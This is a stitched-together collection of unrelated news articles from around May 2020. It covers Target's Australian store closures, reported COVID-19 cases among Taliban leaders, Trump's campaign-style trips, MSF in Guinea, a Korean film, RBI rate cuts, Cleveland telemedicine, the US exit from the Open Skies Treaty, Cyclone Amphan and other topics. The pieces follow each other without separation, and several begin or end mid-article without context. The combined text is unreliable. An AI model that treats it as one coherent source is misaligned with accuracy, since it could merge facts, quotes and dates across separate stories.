Unemployment is above the levels of the global financial crisis a decade ago, following the closure of pubs, clubs, gyms and cinemas to slow the spread of coronavirus.

Sonia Kruger (pictured) showcases designs during the Jean Paul Gaultier x Target show during Melbourne Fashion Festival on March 9 2016

A spokeswoman for Target told Daily Mail Australia: 'During this difficult time, we are committed to supporting our team.

'Across the Kmart Group we have made a significant effort to avoid store closures and retain our people and for impacted store team members we have the benefit of time to help find alternative employment opportunities.

'All team members in Target stores scheduled for conversion to Kmart will be offered the opportunity to join the growing Kmart team.'

She said that staff who works in stores which are closing will be offered jobs at Kmart, Catch, Bunnings and Officeworks.

'We believe that Target has a future as a leading retailer in Australia and we know it is loved by so many,' she added.

Kmart (pictured, the Broadway store in Sydney on March 22) is popular for its low-priced homewares

'But a number of actions are required to ensure it is fit for purpose in a competitive, challenging and dynamic market, including a smaller number of stores and a stronger online business.'

Nationals deputy leader David Littleproud has called for a consumer boycott after Wesfarmers announced the closure or conversion of its Target outlets.

Mr Littleproud accused major companies of turning their backs on regional Australia.

'It just goes to show they don't give a rat's about us,' he told reporters in Toowoomba.

'Australians should vote with their wallets and not go near them.'

He said corporations should be showing social conscience during the coronavirus crisis.

Nationals deputy leader David Littleproud (pictured on May 14) has called for a consumer boycott saying Wesfarmers 'make billions out of Australians'

'They make a lot of money. They make billions out of Australians,' Mr Littleproud said.

'If they want to turn their back on the most vulnerable, it just goes to show that corporate Australia has lost its way morally.'

Labor leader Anthony Albanese said shunning businesses could hurt workers.

'I'm not sure what a boycott of Wesfarmers means except people not going into stores and further job losses,' he told reporters in Sydney.

'I am not sure what Mr Littleproud's comments would result in and how that would be constructive.'

Mr Littleproud signalled he would escalate his boycott calls if shops closed in his electorate.

'I'll be saying to everyone don't shop at these stores,' he said.

'Go and shop at those outlets that are prepared to support not just metropolitan Australians but regional Australians.'

The agriculture minister also pointed the finger at supermarkets and telcos for hurting regional communities.
Sirajuddin Haqqani, the Taliban deputy leader has tested positive for coronavirus along with three commanders, according to anti-terror operatives in Delhi and Kabul.

Sirajuddin Haqqani, who also heads the Talibans sword arm Haqqani Network, is reported to have been taken to a Pakistani military hospital for treatment, possibly Rawalpindi.

The other Taliban leaders who are reported to have been infected with the virus include Mullah Amir Khan Muttaqi and Fazal Mazloom who are associated with the Talibans negotiating team in talks with US Special Representative for Afghanistan Reconciliation Zalmay Khalilzad. The two Taliban leaders along with Mullah Nooruddin Turabi, who was earlier based in Doha, are reported to be treated at hospitals in Quetta and Karachi.

Taliban leaders denied that some among its top leadership were down with Covid-19. Taliban spokesman Zabihullah said that the leaders of Islamic Emirate of Afghanistan, as the political wing of the Taliban is termed, were healthy and not unwell.

Some outlets are circulating fake reports about a number of leaders of IEA including Deputy Khalifa Sahib Sirajuddin Haqqani contracting coronavirus. The said reports are the work of malicious circles trying to stoke fear, he tweeted.

Counter-terror operatives, however, insisted that they had checked the information from multiple sources.

The coronavirus infection, one official said, could be the reason why Fazal Mazloom was not spotted at the Taliban meetings at Doha earlier this month.

He, however, stressed that there was no confirmation available how the Taliban leaders had contracted the infection. Or if it had anything to do with their visits to Pakistan over the last two months.

A large proportion of Taliban leaders such as Sirajuddin Haqqani are known to be close to Pakistan deep state that has guided and funded them apart from allowing use of its facilities. Sirajuddin Haqqani also heads the terror group Haqqani Network that he inherited from his father Jalaluddin Haqqani who set it up during the Afghan-Soviet war.

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British pub operator J D Wetherspoon is investing 11 million pounds in measures including glass screens, entry and exit signs and thousands of hand sanitisers in a bid to ensure social distancing at its pubs once they reopen, it said on Friday.

The company, whose cheaply priced pubs are a fixture of British towns and cities, said each of its 875 locations would have an average of ten hand sanitisers and one full-time member of staff devoted to regularly cleaning surfaces and touch points.

It will provide gloves, masks and protective eyewear to employees if they choose to use it along with glass screens in some areas and around cash-points and staff will hand over all drinks holding the base of the glass.

Customers will be encouraged to pay by app or contactless, but pubs will still accept cash payments, it said. (Reuters)

Source: www.businessworld.ie
Washington

Since resuming their travel schedules, President Donald Trump and Vice President Mike Pence have focused on battleground states crucial to their re-election chances, staging official government events at a time when likely Democratic nominee Joseph Biden and his top surrogates say they are unable to safely return to the campaign trail.

Trump and Pence have used recent trips to thank factory and health care workers and set the stage for reopening the economy amid the coronavirus pandemic, but their itineraries have highlighted the political imperatives that have informed their response to the crisis.

On Thursday, Trump toured a Ford Motor Co. factory in Ypsilanti, Mich., that has been temporarily converted into a ventilator production facility. The visit came after he traveled to manufacturing plants in Phoenix and Allentown, Pa., over the past two weeks. On Wednesday, Pence visited a nursing home in Orlando, Fla., and had lunch with Florida Gov. Ron DeSantis, a Republican, at a local restaurant, and he also has traveled to Iowa, Minnesota and Wisconsin in recent weeks. Pence said he will return to Florida next week to attend a space launch, and DeSantis suggested Trump may make the trip, as well.

The president's trips, in particular, have taken on clear campaign overtones as he pushes for states to move beyond the pandemic and restart their economies despite continuing public health concerns and the rising death toll. Supporters have lined the streets to greet his motorcade as they hold American flags and Trump campaign signs, disregarding social distancing rules and outnumbering a smaller set of protesters.

Trump's campaign soundtrack played on the public-address system during his tour of the Owens & Minor medical supply plant in Allentown. At a Honeywell plant that was producing face masks in Phoenix, Trump invited a married couple he had met during a 2016 campaign rally to make brief remarks as he addressed the workers. And at the Ford factory, he held a "listening session with African-American leaders" that was composed of his supporters as he sat in front of a "Transition to Greatness" banner.

When he has stood in front of a lectern with the presidential seal at the events, Trump has delivered the campaign-themed message that he has done great things for the country, the economic damage done by the pandemic will fade quickly and that he is the one to deliver prosperity again.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

"This country is poised for an epic comeback. This is going to be an incredible comeback. Watch. It's already happening," Trump told the audience at the Ford plant. He added: "I think we're going to do better the second time and it's very important that we win the second time or everything that we've done, including manufacturing jobs, all this it's going to be not in a very good position."

Democrats have criticized the trips and sought to portray them as reckless attempts to push for a return to normalcy that could worsen the outbreak.

"This was nothing more than a campaign trip for him," said Nancy Patton Mills, chair of Pennsylvania's Democratic Party, noting that Allentown remains in a code red, the most restrictive setting in the state's phased reopening system.

"We're all living our lives with caution because we don't want to get sick, and here comes Trump," she said. "Imagine what people would think if Biden all of a sudden came out visiting face mask factories, disturbing local police and first responders to protect him. It was in very poor taste."
Doctors Without Borders (MSF) has reopened its Ebola-era hospital in Guinea, only four years since that epidemic ended, as coronavirus cases soar in the West African state. The country is struggling to curb the virus, despite enacting imposing travel restrictions and a night-time curfew, raising fears about its capacity to contain a growing outbreak. Guinea's weak healthcare system is now straining under the pressure, with authorities having recorded some 3,000 coronavirus cases to date, and 30 fatalities. The main hospital in the capital Conakry has already been overwhelmed, for example. Coronavirus also comes on the heels of the 2014-2016 West Africa Ebola epidemic, which killed around 2,500 people in the nation of some 13 million people. In a sign of the gravity of the situation, MSF doctors -- once a common sight during the Ebola crisis -- have returned to the country. At the end of April, the medical NGO reopened a 75-bed medical centre in a Conakry suburb of Nongo, originally built for about a million euros ($1.1 million) at the height of the Ebola crisis. "The men in yellow are back," said Amadou, a young motorcycle taxi driver who was passing by the clinic, referring to the signature canary-coloured gowns of MSF workers. Some 130 patients with mild COVID-19 symptoms have already been treated in the Nongo centre, inside white tents flying the MSF flag. NGO officials have also indicated that they could expand the centre too, in order to accommodate patients with severe symptoms. - Fear of death - In order to protect the safety of medical staff, the MSF hospital has a strict barrier that cordons off coronavirus patients. In the room where medics prepare to enter the coronavirus zone, medical staff carefully help each other put on protective gear, such as masks and gloves, in groups of two. "Many of our teams are repeating the gestures they learned during the anti-Ebola response," said Nanamoudou Traore, the hospital's head doctor. But patients find the sight of doctors in full protective regalia overwhelming, he added, and are often afraid to come to the hospital. Their fears are justified: few patients left the Nongo hospital alive during the Ebola epidemic. MSF's head of mission in Guinea, Arnaud Badinier, said that there had been a 70-percent risk of death for admitted Ebola patients. "The current epidemic is much wider, but at the same time it causes far fewer deaths," he said. Measures such as social distancing, which can slow coronavirus, are poorly respected in Guinea, however. More work needs to be done to educate people about how the virus' aerial mode of transmission differs to the way Ebola spread via bodily fluids, Badinier said. MSF is also concerned that attention to Guinea's slew of other health problems -- such as measles, malaria and HIV/AIDS -- will fall by the wayside amid the pandemic. "The health needs in Guinea remain immense and the health system fragile," Badinier said, adding that addressing those problems had already been challenging. "The Covid-19 pandemic must not make the situation worse". - Hotspots - The medical NGO is on the frontlines of fighting coronavirus in poor countries around the world, and is present in 25 African countries. According to MSF spokeswoman Scheherazade Bouabid, it has responded by adapting existing health schemes, or establishing new ones in virus hot spots. Some of the work includes training medical staff, of supplying hospitals with oxygen for struggling coronavirus patients. Bouabid said that in Ivory Coast, Mali and the Democratic Republic of Congo, MSF has also teamed up with local organisations to distribute "more than a million masks free of charge". After bearing the brunt of a deadly Ebola epidemic, Guinea is looking for help to fight coronavirus Guinea Guinea is one of the poorest countries in the world, ranking 174th out of 189 according to a key benchmark of development
Song Ji Hyo expressed her thoughts about her upcoming movie "Intruder" in her recent interview and photoshoot with magazine Cine21.

The new thriller film "Intruder," starring actress Song Ji Hyo as Yoo Jin, is a story about a woman who suddenly vanished 25 years ago. Then, decades later, she returned and came back to her family. However, things began to change bit by bit within them.

Seo Jin, played by Kim Moo Yeol, is Yoo Jin's older brother. He starts to feel suspicious about her sister, and in his journey to uncover the mystery that Yoo Jin is hiding, he faces a shocking truth.

Opposite to her friendly and charming image as one of Korea's most loved stars, Song Ji Hyo will be creating a surprising transition in this particular film as the character of Yoo Jin.

The actress posed for the cover of Cine21 with a colder, edgier vibe, relating to her character in the forthcoming movie, and clad in a dramatic black and white outfit while staring at the camera with a fierce look.

The actress shared in her interview that she's been feeling worried about carrying a role that's quite contrary to the public's image of her. She expressed that she did feel scared because the part given to her has an entirely different aura from the image she currently has with the public as an actress.

The film was actually set to premiere earlier. However, due to the COVID-19 pandemic, it got postponed twice. In the last update, "Intruder" is confirmed to premiere on June 4.

In the meantime, you can check out Song Ji Hyo's full interview with Cine21 on the magazine's May issue!

WATCH THE "INTRUDER" TRAILER BELOW:

Song Ji Hyo was born as Cheon Soo-Yeon, also known as Cheon Seong-Im, on August 15, 1981. When she was in high school, after watching Park Shin-yang in the 1998 movie "Promise," Song Ji Hyo began to dream as a famous actress.

Before she made her acting debut, Song Ji Hyo was a cover model for Kiki Magazine. Her first film was "Wishing Stairs" in 2003, which is already the third installment in the Whispering Corridors film series. Her small screen debut was with the romantic comedy "Princess Hours" (2006) and the period drama "Jumong" in 2006.

Song Ji Hyo starred in several films, and she eventually gained wider recognition, such as in "New World" (2013), "A Frozen Flower" (2008), and the drama "Emergency Couple" (2014).

In addition to acting in films and dramas, she is also a regular cast member since 2010 on the South Korean variety program, Running Man. This variety show brought her international recognition.

Song Ji Hyo revealed on a May 2017 episode of Running Man that the reason why she decided to change her birth name from "Cheon Seong-Im" to "Cheon Soo-Yeon" is because "a lot of people recognize it more nowadays."
We have not exhausted ammunition on rate cuts, policy actions: RBI Governor

New wave of coronavirus will not impact economic recovery: RBI guv

Shaktikanta Das re-appointed as RBI Governor for another 3 years

RBI Governor to address media at 10 am today

India

oi-Vicky Nanjappa

New Delhi, May 22: RBI Governor Shaktikanta Das will address the media at 10 am today.

The briefing comes a week after Union Finance Minister Nirmala Sitharaman announced a financial stimulus package in the wake of the coronavirus outbreak.

Last week Das held a meeting with heads of major public and private sector lenders and reviewed the current economic situation in the country due to coronavirus outbreak.

Highlights of Nirmala Sitharamans briefing on economic stimulus package

RBI slashes repo rates by 40 basis points to 4% to boost growth, other measure | Oneindia News

The governor appreciated the efforts of banks in ensuring normal to near normal operations during the lockdown period.

In the meet, the RBI chief also discussed the credit flows to different sectors of the economy, including non-banking financial companies (NBFCs), microfinance institutions, housing finance companies and mutual funds.
CLEVELAND, Ohio -- The coronavirus pushed health care systems into the age of the digital house call, and thats unlikely to end anytime soon, leaders at the Cleveland Clinic and MetroHealth said Friday.

Cleveland Clinics Dr. Tomislav Mihaljevic and MetroHealths Dr. Akram Boutros discussed the future of medicine in a City Club forum. Both systems have seen patients taking advantage of telemedicine options at an unprecedented rate during the coronavirus pandemic.

For the Cleveland Clinic, telemedicine visits skyrocketed from 5,000 visits a month to 200,000. At MetroHealth, before COVID-19, telehealth calls made up less than half a percent of all outpatient visits. That number shot up to 85% during the early stages of the pandemic and has now settled at around 50%.

Even as case numbers seem to decline and the state begins to reopen, both systems plan to continue and improve telemedicine.

I do believe this is a significant improvement and it will allow us in future to provide services in a more acceptable and affordable way, Mihaljevic said.

Health systems advocated to remove some of the barriers to access for telehealth at the beginning of the pandemic, he added.

There are strict federal regulations to ensure theres no violation of health privacy laws when conducting telehealth.

Federal officials announced in March there would not be imposed penalties on violations of these strict guidelines in connection with telehealth, which allowed health professionals to use Apples FaceTime product, Facebook Messenger video chat, Google Hangouts video, Zoom, or Skype to connect with patients.

The Trump administration also expanded telemedicine coverage under Medicare for seniors, a recognized group thats more vulnerable to severe outcomes from COVID-19.

Clevelands deep divide in internet access poses a challenge to telehealth. MetroHealth is working with various sponsors to provide internet access to 1,000 homes in the neighborhood surrounding its main campus.

Were doing this to demonstrate this is a better utilization of funds to keep people healthy by providing them this digital connection, Boutros said. Its the first of its kind in the nation and well see if 1,000 homes is enough to demonstrate this is a really excellent use of healthcare funds and be able to have both insurers and CMS (Centers for Medicare and Medicaid Services) cover that cost in the future.

Telemedicine offers a socially-distanced option for care, but both health systems have found that patients are not coming into the hospital and missing crucial in-person appointments because of the pandemic.

Patients were initially told to delay non-essential appointments to avoid exposure to COVID-19, and elective procedures were postponed during the states stay-at-home order.

But that causes its own set of potential problems.

We cant neglect the proven medical interventions and preventative care, Boutros said. I am very concerned ... that were far more likely to have a far worse secondary health crisis due to delays than the coronavirus spread may have an impact on us.

MetroHealth has been sending doctors and nurses to patients homes in some cases, Boutros said.

Preventative screening numbers have sharply dropped. Parents are worried about bringing children into the hospital for immunizations, which could have severe future consequences, both CEOs said.

Hospitals are safe. Theyre safe environments, Mihaljevic said. We have to be very cognizant of the fact chronic conditions and conditions that need treatment need treatment even during the COVID pandemic. Immunizations for children should not be stopped. Its important that we do not lose sight of it.
This is not to say Im an ageist, but lets be realistic: Our political elites are in their 70s, while House Speaker Nancy Pelosi became an octogenarian in March. Calling Trump morbidly obese the other day seemed like she was your nana: No filter, like most of our seasoned officials.
If your school is closed because of the novel coronavirus, you have something in common with kids growing up 100 years ago. In 1918, schools closed temporarily in response to a new H1N1 virus. Like COVID-19, the illness it caused spread rapidly in communities because no one was immune to it yet.

Did students still have homework during the 1918 flu closures? Not much, according to Debbie Schaefer-Jacobs, curator in the Division of Cultural and Community Life at the Smithsonians National Museum of American History. Teachers probably sent reading assignments home, but schoolwork was minimal. If students wanted to practice spelling, they used alphabet or speller boards, which were popular learning toys at that time.

Outside of school, kids kept busy with chores. Many children also had jobs, from delivering newspapers to helping on farms and even working in factories. That began to change in the 1930s when the government enacted laws regulating how much children could work.

What was it like to go to school a century ago? More than half of the student population attended country or rural schools, while the rest went to city schools. At city schools, your classmates were about your age, but country schools often had students of different ages in a single classroom.

States required children to attend school only through eighth grade. Sometimes older kids in country schools stayed longer to help with younger pupils, getting on-the-job training to later become teachers, Schaefer-Jacobs said.

Most kids walked to school, although some rode horses or donkeys. In the 1930s, wagons began transporting students from rural areas to city schools.

Until 1954, when the U.S. Supreme Court ruled that segregated education was against the law, the vast majority of black students and white children attended separate schools.

Children in the 1900s studied many of the same subjects you do today, such as reading, writing and math. Students used a book called Websters Speller, and reading assignments were challenging.

More Information Learn more Want to learn more about what school was like 100 years ago? Search for images of old schoolhouses, playgrounds and class pictures in the Library of Congress's Prints & Photographs Online Catalog: loc.gov/pictures. Search for tools that students used, such as slates, Indian clubs, spellers and lunch pails, in the Smithsonian's National Museum of American History Collections database: americanhistory.si.edu/collections. See More Collapse

Kids back then were reading speeches that presidents gave, said Schaefer-Jacobs.

The curriculum also included Bible studies - even in public, nonreligious schools - along with penmanship and civics education.

To practice penmanship or work on math problems, students wrote with chalk or charcoal on a slate - a piece of wood with special coating. A slate was similar in size to a tablet or an iPad mini, said Schaefer-Jacobs. Slates were noisy when dropped on desks, so some manufacturers wrapped the edges in yarn or fabric and sold them as noiseless slates.

Because of the Civil War and World War I, schools focused a lot on patriotism - loyalty and devotion to your country. Students performed music, put on plays and wrote essays to showcase their civic pride.

As the United States experienced a massive wave of immigration from the 1880s until 1920, schools also taught patriotism to foreign-born students. In fact, so many people immigrated to America that city schools offered classes at night to accommodate more students.

Physical education (PE) looked a bit different in the early 1900s. In city schools, students exercised in a gymnasium or worked on strength and mobility at their desks using Indian clubs - wooden clubs that look like big bowling pins.

In country schools, there wasnt an emphasis on PE because those kids were working on farms, getting plenty of physical labor, said Schaefer-Jacobs.

Older students in country schools also helped with physical tasks: Boys hauled wood for the stoves that heated the classrooms, and girls pumped drinking water from wells.

Most city kids had enough time to walk home for lunch, while rural students brought food to eat at school, packed in a metal pail or tin.

As you continue learning at home, remember that school closures are nothing new. In the early 1900s, closing school for short periods was common, and people understood quarantine because disease was more prevalent with little or no availability of vaccines, Schaefer-Jacobs said.
What role are U.S.-China tensions playing in this?

There has always been this tension in China toward the U.S., that the U.S. is sort of a hegemon thats interfering in Chinas affairs all the time, in places like Xinjiang, Hong Kong and Tibet.

For the last 40 years of their relationship, there was a bipartisan sense that you had to trade and work with China. I feel like the veneer has been stripped away now.

Officials more or less had this compact with the Chinese people that the party was making them wealthier and prosperous. With the virus and the economic consequences, as well as the tensions with the U.S., where does that leave China, and what message are they going to send to people at a moment of great crisis?

Thats it for this briefing. Reminder that the U.S. will be (extra) closed on Monday for Memorial Day. See you next time.  Victoria

Thank you

To Theodore Kim and Jahaan Singh for the break from the news. You can reach the team at briefing@nytimes.com.

P.S.

 Were listening to The Daily. Our latest episode is about a 14-year-old whose hospitalization could help doctors understand a frightening new illness linked to the coronavirus.

 Heres todays Mini Crossword puzzle, and a clue: Planks strengthen them (three letters). You can find all our puzzles here.

 The Times just published its 2019 Diversity and Inclusion Report. Women now represent 51 percent of our staff and 49 percent of leadership. People of color represent 32 percent of staff and 21 percent of leadership.
PNC General Secretary, Atik Mohammed has reposed confidence in the Electoral Commission (EC) to hold credible elections this year.



In sharp contrast with claims by the National Democratic Congress (NDC), Atik Mohammed is optimistic that the EC's decision to compile a new voters' register is a step in the right direction and therefore called on all Ghanaian electorates to participate in the registration exercise when the time is due.



The leadership and members of the National Democratic Congress have accused the EC and the National Identification Authority (NIA) of conniving to skew the December polls in favour of the incumbent government.



According to the opposition party, the EC's plan to use the Ghana card and Ghanaian passport as the only legal documents for registration of eligible persons into a new voters' register is an attempt by the Commission to disenfranchise 11 million electorates in the country and also rig the 2020 elections for President Nana Addo Dankwa Akufo-Addo.



Although the EC and NIA have both debunked the NDC claims, the opposition party still holds onto their position on the registration exercise.



Addressing the issue on Peace FM's 'Kokrokoo', Atik Mohammed asserted that there is no way the Electoral Commission can rig elections.



He also stated that the amendments that the Commission is seeking in the Constitutional Instrument (C.I) 91 which will make Ghana card or passport holders the only legal people to register will not disenfranchise electorates.



"I don't see how those amendments will prevent an 18-year old Ghanaian with a sound mind from going to write his or her name," he said.



Atik Mohammed wondered why the NDC is worried with the EC's decision to compile a new voters' register and disclosed that the party refused to join the IPAC meeting which had the Commission discussing electoral issues with the various political parties in the country.



He said the Commission's plan to use the Ghana card and passport for the registration exercise is legitimate, explaining that the NDC is opting for the NHIS card to be included in the legal requirements but it is in conflict with a Supreme Court ruling that the NHIS card holders are not eligible to have their names written in the voters' register.



To him, the Ghana card and passport are the best alternatives that the EC could go for, and that Ghana's electoral system has improved since 1992 which makes it impossible for the Commission to ''steal'' the elections.



''How is the Electoral Commission going to rig the elections? How is that possible?''



''We've modified our processes from 1992 till date. Is it today that a lot of things have been added to improve on the transparency of our elections that somebody is going to rig the elections? How can the Electoral Commission rig it?'' he questioned.



Listen to his submission in video below





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
On the Treaty on Open Skies

Press Statement

Michael R. Pompeo, Secretary of State

May 21, 2020



Tomorrow, the United States will submit notice of its decision to withdraw from the Treaty on Open Skies to the Treaty Depositaries and to all other States Parties to the Treaty. Effective six months from tomorrow, the United States will no longer be a party to the Treaty. We may, however, reconsider our withdrawal should Russia return to full compliance with the Treaty.

A cornerstone of President Trump's National Security Strategy is to protect the American people, the American way of life, and American security interests. As the President has made clear, the United States must take a clear-eyed look at any agreement through the prism of today's reality and assess whether such agreement remains in the U.S. interest. After careful consideration, including input from Allies and key partners, it has become abundantly clear that it is no longer in America's interest to remain a party to the Treaty on Open Skies.

At its core, the Treaty was designed to provide all signatories an increased level of transparency and mutual understanding and cooperation, regardless of their size. Russia's implementation and violation of Open Skies, however, has undermined this central confidence-building function of the Treaty  and has, in fact, fueled distrust and threats to our national security  making continued U.S. participation untenable.

While the United States along with our Allies and partners that are States Parties to the Treaty have lived up to our commitments and obligations under the Treaty, Russia has flagrantly and continuously violated the Treaty in various ways for years. This is not a story exclusive to just the Treaty on Open Skies, unfortunately, for Russia has been a serial violator of many of its arms control obligations and commitments. Despite the Open Skies Treaty's aspiration to build confidence and trust by demonstrating through unrestricted overflights that no party has anything to hide, Russia has consistently acted as if it were free to turn its obligations off and on at will, unlawfully denying or restricting Open Skies observation flights whenever it desires.

Russia has refused access to observation flights within a 10-kilometer corridor along its border with the Russian-occupied Georgian regions of Abkhazia and South Ossetia, thereby attempting to advance false Russian claims that these occupied territories are independent states. Russia's designation of an Open Skies refueling airfield in Crimea, Ukraine, is similarly an attempt to advance its claim of purported annexation of the peninsula, which the United States does not and will never accept. Russia has also illegally placed a restriction on flight distance over Kaliningrad, despite the fact that this enclave has become the location of a significant military build-up that Russian officials have suggested includes short-range nuclear-tipped missiles targeting NATO. In 2019, Russia unjustifiably denied a shared United States and Canada observation flight over a large Russian military exercise.

These problems, moreover, follow on years of different Russian violations of the Treaty at various points since the Treaty entered into force, such as Russia's violation, up until 2017, of improperly declaring force majeure to impose airspace restrictions related to VIP ground movements. These periodic and shifting violations highlight Russia's willingness for many years now, to restrict or deny overflights whenever it desires. This strikes at the heart of the Treaty's confidence-building purpose.

The problems raised by Russia's selective implementation of Open Skies, moreover, go beyond just violating the Treaty's provisions themselves. Its approach to Treaty implementation has fatally undermined the very intent of the Treaty as a confidence- and trust-building measure, for far from allowing Open Skies to contribute  as it was intended to do  to building regional trust and goodwill, Moscow has increasingly used Open Skies as a tool to facilitate military coercion. Moscow appears to use Open Skies imagery in support of an aggressive new Russian doctrine of targeting critical infrastructure in the United States and Europe with precision-guided conventional munitions. Rather than using the Open Skies Treaty as a mechanism for improving trust and confidence through military transparency, Russia has, therefore, weaponized the Treaty by making it into a tool of intimidation and threat.

To those who suggest the United States respond with reciprocal steps of our own analogous to Russia's own provocative actions and violations, we say: doing that would only further undermine the core purpose of the Treaty, and create further tension and distrust between the United States and Russia. We will not contribute to further weaponizing and poisoning with distrust a Treaty that was intended to build confidence. The Open Skies Treaty was meant to contribute to international security, but it has been twisted and perverted in its implementation and now serves Russian purposes inimical to that security.

We understand that many of our Allies and partners in Europe still find value in the Treaty, and we are grateful for the thoughtful feedback they have offered us during the course of our review of these questions. If not for the value they place on the OST, we would likely have exited long ago. We are not willing, however, to perpetuate the Treaty's current problems of Russian-engendered threat and distrust simply in order to maintain an empty facade of cooperation with Moscow.

Make no mistake: Russia alone bears responsibility for these developments, and for the continued erosion of the arms control architecture. We remain committed to effective arms control that advances U.S., Ally, and partner security, that is verifiable and enforceable, and that includes partners that comply responsibly with their obligations. But we cannot remain in arms control agreements that are violated by the other side, and that are actively being used not to support but rather to undermine international peace and security. As noted, we may be willing to reconsider this decision if Russia demonstrates a return to full compliance with this confidence-building Treaty, but without such a change of course from the Kremlin, our path will lead to withdrawal in six months' time.

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Working with St. Patricks Catholic Church, Bergan Fund and Alumni Relations Director Sarah Monke said the school has implemented a deficit reduction push to raise the necessary funds by November.

During the Tuesday update, the Rev. Walter Nolte, pastor and president, said $180,424 has been raised so far to go toward the deficit reduction program.

"St. Patrick's Parish and Archbishop Bergan School has had a long history of generosity," he said. "It's had a long history of need, but an even longer history of generosity. Thank you to everyone who has been able to financially support us over the past weeks and months."

Nolte also thanked parishioners and families who have dedicated their prayers toward the well being of the school and parish.

Principal Dan Koenig thanked individuals who participated in the school's initial virtual town hall, saying it represented the community's deep love for the parish.

"Obviously it takes a village and it's going to take everyone doing a little so that no individual has to do a lot," he said. "Those individuals that are helping include our current Bergan parents, our alumni base, which is large and very supportive, and the parishioners of St. Patrick's Parish."

Koenig also thanked local business partners who have made an effort to support the school and parish during the past months and years.

The school's next virtual town hall meeting will start at 7 p.m. May 27.

"One of the greatest things you could do for us is to pray," Koenig said. "Pray for the success of St. Patrick Parish and Archbishop Bergan Catholic School."
Power outage and frequent fibre cuts have disrupted telecom connectivity in Cyclone Amphan hit areas, particularly Kolkata, North and South 24 Pargana districts of West Bengal. Industry players told PTI that still around 70 per cent of the telecom network in the worst affected areas is working and around 85-90 per cent of the connectivity will be restored by Friday evening.

"There has been very minimal impact on telecom towers. Major problems have been fibre cuts due to felling of trees that has led to some disruption and power outage has made the situation challenging," industry body COAI Director General Rajan S Mathews said. Mobile towers are connected to each other through optical fibre cables and any damage to them leads to the breakdown of the network.

Mathews said that there have been an average of around 100 fibre cuts every two hours due to felling of trees and operations to clear the way from the disruption roads. "It is very important to get the power restored because mobile towers are working on diesel generators only and they cannot continue to operate for more than eight hours. DG sets will have to be switched off.

"Batteries also cannot run for a long time without power; they also need to be charged. If the power outage continues then there can be disruption in telecom networks," Mathews said. The cyclone-hit areas have around 8,500 mobile towers on which around 36,000 base stations of different operators run.

Also read: Cyclone Amphan: PM Modi to survey affected areas in West Bengal, Odisha on Friday

At present around 866 mobile towers, accounting for 70 per cent coverage, are operating on DG sets in the Amphan-hit area. According to Tower & Infrastructure Providers Association(TAIPA), both Airtel and Vodafone Idea have been asked to get 1,000 sites working in the next 24 hours by the Department of Telecommunications Secretary Anshu Prakash.

"Around 70 per cent of the sites are working on DG's and after every 8 hours, DG set has to take rest, so restoration of power is very critical for getting sites back to functional especially in Kolkata. "Also, in a few situations, we have come across the issue of manpower not being allowed because of the road blockages, we have requested state authorities to resolve this issue at the earliest," Taipa Director General TR Dua said.

He said that due to advance preparations by the DoT, there has been a minimal direct impact on telecom infrastructure per se. "DoT secretary coordinated with all the authorities because of which the entire flow of machinery was very smooth. The connectivity can be up and running in a very short time if power issues are resolved," Dua said.

The fiercest cyclone to hit West Bengal in 100 years destroyed mud houses and crops, and uprooted trees and electric poles. It also wreaked havoc in Odisha damaging power and telecom infrastructure in several coastal districts. Odisha government officials estimated that the cyclone has affected around 44.8 lakh people in the state. "Connectivity in Odisha has almost been restored," Dua said.

Also read: Cyclone Amphan: Rs 10,000 crore West Bengal general insurance market stares at heavy losses
Etihad Airways must restructure its debt or face possible legal action, Reuters reported Thursday. It is the latest piece of difficult news for the airline, which has struggled amid the downturn in international travel.

The United Arab Emirates-based airline has $1.2 billion in debt owned by both Emirati and international investors. The proposal is to extend the maturity of the debt by a maximum of three years in exchange for Etihad or its owner, Abu Dhabi, repaying the loans, Reuters wrote, citing two sources involved with the deliberations.

The legal action could arise because Etihad agreed to cover the debt of another airline, Alitalia from Italy, in 2016. If Etihad rejects this proposal, the debt owners will make a claim in current bankruptcy proceedings involving Alitalia that may lead to Etihad having to honor Alitalias debt, according to Reuters.

Etihad has not yet responded to the proposal.

The news comes at a difficult time for Etihad Airways, which is reportedly cutting hundreds of jobs due to the loss in revenue stemming from the coronavirus pandemic. The UAEs other major airline, Emirates, is also struggling financially due to the crisis.
Wuhan Residents View Mandatory Virus Tests As the CCP Money Making Scheme; Second wave in Shanghai?

Chinese authorities have mandated that all 11 million residents in Wuhan, China, get tested for the new coronavirus. Yet, residents are now questioning whether the tests are part of a money-making scheme by local authorities. Tests available in hospitals allegedly cost around a third of the tests being used by the government, testing sites have seen workers not changing gloves between tests, and workers have been placing multiple testing swaps together in the same containers.

And a recent virus case in Shanghai has locals worried that a second wave outbreak is underway. Local authorities confirmed just three new infections on May 19, but one of the individuals diagnosed with the virus had spent days traveling by train and subway and going about the city.

This comes as Shulan City was recently placed under martial law, with over 1,103 residential buildings and 1,205 villages put on lockdown.

These stories and more in this episode of Crossroads.

Crossroads is an Epoch Times show available on Facebook and YouTube.
Bandhan Bank dropped 5.95% to Rs 198.20 after the bank said that that the business of around 65,000 of micro banking borrowers, amounting to exposure of approximately Rs 260 crore, could be impacted due to the Amphan cyclone.

Cyclone Amphan struck five districts in southern West Bengal and northern coastal Odisha starting in the afternoon of 20 May and lasting till the wee hours of the morning of 21 May.

As per the initial assessment, 49 banking units (micro banking outlets) in five districts were impacted, of which 45 have resumed operations today, Bandhan Bank said in a filing. It further informed that the bank will not be able to continue services in five branches due to issues in accessibility.

Bandhan Bank said that the banking outlets which had received prior warning of the Amphan cyclone were prepared with the necessary safety and business continuity measures which enabled the continuity of operations.

Bandhan Bank has relatively higher exposure to West Bengal. "In our experience of Fani, the cyclone that caused large scale damage in Odisha in May 2019, the impacted portfolio took 3 to 6 months to achieve normalcy, aided by the committed workforce and customer loyalty. On the back of this experience, we expect the Amphan affected portfolio to regularise by Q3 of FY21," the bank added.

Meanwhile, banks stocks were under pressure on Friday after the Reserve Bank of India (RBI) Governor Shaktikanta Das cut the repo rate by 40 basis points to 4% and extended moratorium on all term loans by another 3 months. The loan moratorium has now been extended till 31 August. This makes it a total of six months moratorium on loan EMIs starting from 1 March 2020.

